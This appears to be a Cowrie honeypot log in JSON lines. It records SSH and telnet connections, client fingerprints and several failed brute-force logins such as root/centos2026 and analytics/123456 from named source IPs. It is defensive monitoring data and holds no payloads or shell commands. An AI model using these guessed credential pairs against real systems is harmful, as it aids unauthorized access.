{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:34.665074Z","src_ip":"165.154.5.173","session":"4282bfc21a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57198,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b840f930dd0","protocol":"telnet","message":"New connection: 162.253.42.116:57198 (10.17.0.5:23) [session: 9b840f930dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:36.081676Z"}
{"eventid":"cowrie.session.closed","duration":36.45643591880798,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:36.694458Z","src_ip":"162.253.42.116","session":"72530bd6bfca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":60092,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a559c8b1bb7","protocol":"telnet","message":"New connection: 162.253.42.116:60092 (10.17.0.5:23) [session: 8a559c8b1bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:39.548744Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":39438,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6ee3d9dc30b","protocol":"telnet","message":"New connection: 194.195.250.213:39438 (10.17.0.5:23) [session: b6ee3d9dc30b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:44.649187Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":38558,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f9aa962175","protocol":"telnet","message":"New connection: 162.253.42.116:38558 (10.17.0.5:23) [session: 77f9aa962175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:44.913145Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39122,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca24ede7f695","protocol":"telnet","message":"New connection: 162.253.42.116:39122 (10.17.0.5:23) [session: ca24ede7f695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:45.471770Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a156fc084f1","protocol":"telnet","message":"New connection: 162.253.42.116:43836 (10.17.0.5:23) [session: 3a156fc084f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:49.955480Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53686,"dst_ip":"10.17.0.5","dst_port":23,"session":"f55517e213a2","protocol":"telnet","message":"New connection: 162.253.42.116:53686 (10.17.0.5:23) [session: f55517e213a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:58.822011Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":45146,"dst_ip":"10.17.0.5","dst_port":23,"session":"220e71abb17a","protocol":"telnet","message":"New connection: 194.195.250.213:45146 (10.17.0.5:23) [session: 220e71abb17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:59.277924Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":36302,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0764bac1767","protocol":"telnet","message":"New connection: 194.195.250.213:36302 (10.17.0.5:23) [session: f0764bac1767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:20:59.652769Z"}
{"eventid":"cowrie.session.closed","duration":37.88694095611572,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:00.468746Z","src_ip":"194.195.250.213","session":"a1911c7e318f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.65191316604614,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:03.229022Z","src_ip":"162.253.42.116","session":"12953ba72f27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.29953122138977,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:03.709199Z","src_ip":"162.253.42.116","session":"5bd15f14a2f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.61882972717285,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:05.911786Z","src_ip":"194.195.250.213","session":"867067e9fa0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.374186515808105,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:07.714047Z","src_ip":"194.195.250.213","session":"c1d92997b8f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":59470,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bf4f7cddd1d","protocol":"ssh","message":"New connection: 102.213.34.99:59470 (10.17.0.5:22) [session: 4bf4f7cddd1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:09.749501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:09.767323Z","src_ip":"102.213.34.99","session":"4bf4f7cddd1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:09.939446Z","src_ip":"102.213.34.99","session":"4bf4f7cddd1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38366,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9f351e06d48","protocol":"telnet","message":"New connection: 185.26.126.47:38366 (159.203.135.109:23) [session: a9f351e06d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:10.230776Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123456","message":"login attempt [user/test123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:10.652699Z","src_ip":"102.213.34.99","session":"4bf4f7cddd1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.62040066719055,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:10.701921Z","src_ip":"162.253.42.116","session":"9b840f930dd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":39280,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a63dd6570ed","protocol":"telnet","message":"New connection: 162.253.42.116:39280 (10.17.0.5:23) [session: 4a63dd6570ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:10.847144Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:11.826693Z","src_ip":"102.213.34.99","session":"4bf4f7cddd1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.62440347671509,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:12.173033Z","src_ip":"162.253.42.116","session":"8a559c8b1bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":60780,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe50a9226336","protocol":"telnet","message":"New connection: 194.195.250.213:60780 (10.17.0.5:23) [session: fe50a9226336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:13.765110Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52170,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba49b73673f0","protocol":"ssh","message":"New connection: 159.203.92.129:52170 (159.203.135.109:22) [session: ba49b73673f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:13.801849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:13.806383Z","src_ip":"159.203.92.129","session":"ba49b73673f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:13.811314Z","src_ip":"159.203.92.129","session":"ba49b73673f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"analytics","password":"123456","message":"login attempt [analytics/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:13.824171Z","src_ip":"159.203.92.129","session":"ba49b73673f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:14.834034Z","src_ip":"159.203.92.129","session":"ba49b73673f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":42760,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8c1e3d0051","protocol":"telnet","message":"New connection: 162.253.42.116:42760 (10.17.0.5:23) [session: 0d8c1e3d0051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:14.861921Z"}
{"eventid":"cowrie.session.closed","duration":5.947372913360596,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:16.178021Z","src_ip":"185.26.126.47","session":"a9f351e06d48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77576208114624,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:19.424827Z","src_ip":"194.195.250.213","session":"b6ee3d9dc30b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.365721225738525,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:21.278732Z","src_ip":"162.253.42.116","session":"77f9aa962175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.81504225730896,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:21.286711Z","src_ip":"162.253.42.116","session":"ca24ede7f695","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":51166,"dst_ip":"10.17.0.5","dst_port":23,"session":"2196271de90a","protocol":"telnet","message":"New connection: 162.253.42.116:51166 (10.17.0.5:23) [session: 2196271de90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:21.454727Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":34412,"dst_ip":"10.17.0.5","dst_port":22,"session":"772f869a9d46","protocol":"ssh","message":"New connection: 165.154.5.173:34412 (10.17.0.5:22) [session: 772f869a9d46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:24.366014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:24.371680Z","src_ip":"165.154.5.173","session":"772f869a9d46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:24.591814Z","src_ip":"165.154.5.173","session":"772f869a9d46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos2026","message":"login attempt [root/centos2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:25.497791Z","src_ip":"165.154.5.173","session":"772f869a9d46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.5566942691803,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:26.512081Z","src_ip":"162.253.42.116","session":"3a156fc084f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:26.718753Z","src_ip":"165.154.5.173","session":"772f869a9d46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57344,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bc421810071","protocol":"telnet","message":"New connection: 162.253.42.116:57344 (10.17.0.5:23) [session: 0bc421810071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:27.022035Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59488,"dst_ip":"10.17.0.5","dst_port":23,"session":"e594a161cc33","protocol":"telnet","message":"New connection: 162.253.42.116:59488 (10.17.0.5:23) [session: e594a161cc33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:29.025385Z"}
{"eventid":"cowrie.session.closed","duration":34.79571866989136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:33.617613Z","src_ip":"162.253.42.116","session":"f55517e213a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":40358,"dst_ip":"10.17.0.5","dst_port":23,"session":"926f4d9de150","protocol":"telnet","message":"New connection: 162.253.42.116:40358 (10.17.0.5:23) [session: 926f4d9de150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:37.070845Z"}
{"eventid":"cowrie.session.closed","duration":38.31989812850952,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:37.972520Z","src_ip":"194.195.250.213","session":"f0764bac1767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.24339818954468,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:39.521184Z","src_ip":"194.195.250.213","session":"220e71abb17a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":43464,"dst_ip":"10.17.0.5","dst_port":23,"session":"024d068d352b","protocol":"telnet","message":"New connection: 162.253.42.116:43464 (10.17.0.5:23) [session: 024d068d352b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:39.794316Z"}
{"eventid":"cowrie.session.closed","duration":36.09207344055176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:46.939088Z","src_ip":"162.253.42.116","session":"4a63dd6570ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.69766163825989,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:52.559408Z","src_ip":"162.253.42.116","session":"0d8c1e3d0051","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":55488,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b9dc62167d3","protocol":"telnet","message":"New connection: 162.253.42.116:55488 (10.17.0.5:23) [session: 5b9dc62167d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:53.203527Z"}
{"eventid":"cowrie.session.closed","duration":40.97951698303223,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:54.744478Z","src_ip":"194.195.250.213","session":"fe50a9226336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.195.250.213","src_port":60662,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6e52d8244a8","protocol":"telnet","message":"New connection: 194.195.250.213:60662 (10.17.0.5:23) [session: d6e52d8244a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:55.014075Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36690,"dst_ip":"10.17.0.5","dst_port":23,"session":"82c07ce6fb84","protocol":"telnet","message":"New connection: 162.253.42.116:36690 (10.17.0.5:23) [session: 82c07ce6fb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:58.149220Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42488,"dst_ip":"159.203.135.109","dst_port":22,"session":"565c1196337a","protocol":"ssh","message":"New connection: 159.203.92.129:42488 (159.203.135.109:22) [session: 565c1196337a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:58.710426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:58.714652Z","src_ip":"159.203.92.129","session":"565c1196337a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:58.718376Z","src_ip":"159.203.92.129","session":"565c1196337a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"analytics","password":"analytics","message":"login attempt [analytics/analytics] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:21:58.727585Z","src_ip":"159.203.92.129","session":"565c1196337a","protocol":"ssh"}
